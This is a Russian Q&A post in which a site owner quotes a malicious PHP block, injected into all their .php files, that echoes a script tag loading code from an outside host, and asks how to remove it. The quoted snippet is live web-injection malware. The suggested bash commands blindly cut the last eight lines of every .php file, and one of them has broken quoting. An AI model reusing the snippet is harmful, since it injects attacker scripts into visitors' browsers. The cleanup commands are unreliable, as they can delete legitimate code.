Весь мой файл .php был добавлен блок кода, как это:
<?php
#bbf007#
if(empty($r)) {
$r = "<script type=\"text/javascript\" src=\"http://web- ask.esy.es/m2nzgpzt.php?id=11101326\"></script>";
echo $r;
}
#/bbf007#
?>
Мне нужно написать скрипт bash с регулярным выражением, чтобы удалить этот блок из файла кода. Пожалуйста, помогите мне предложение.
Резервное копирование в первую очередь!
Следующая команда возьмет все, кроме последних 8 строк, из всех файлов .php в текущем каталоге и его подкаталогах и запишет их в файл с именем * .php.new:
find -name "*.php" | xargs -i sh -c 'head -n -8 {} > {}.new'
Затем переместите все текущие файлы php в * .php.old:
find -name "*.php" | xargs -i sh -c 'mv {} {}.old'
Затем переместите файлы .php.new в .php
find -name "*.php.new" | xargs -i sh -c 'mv {} `echo '{}' | head -c -5`'
Других решений пока нет …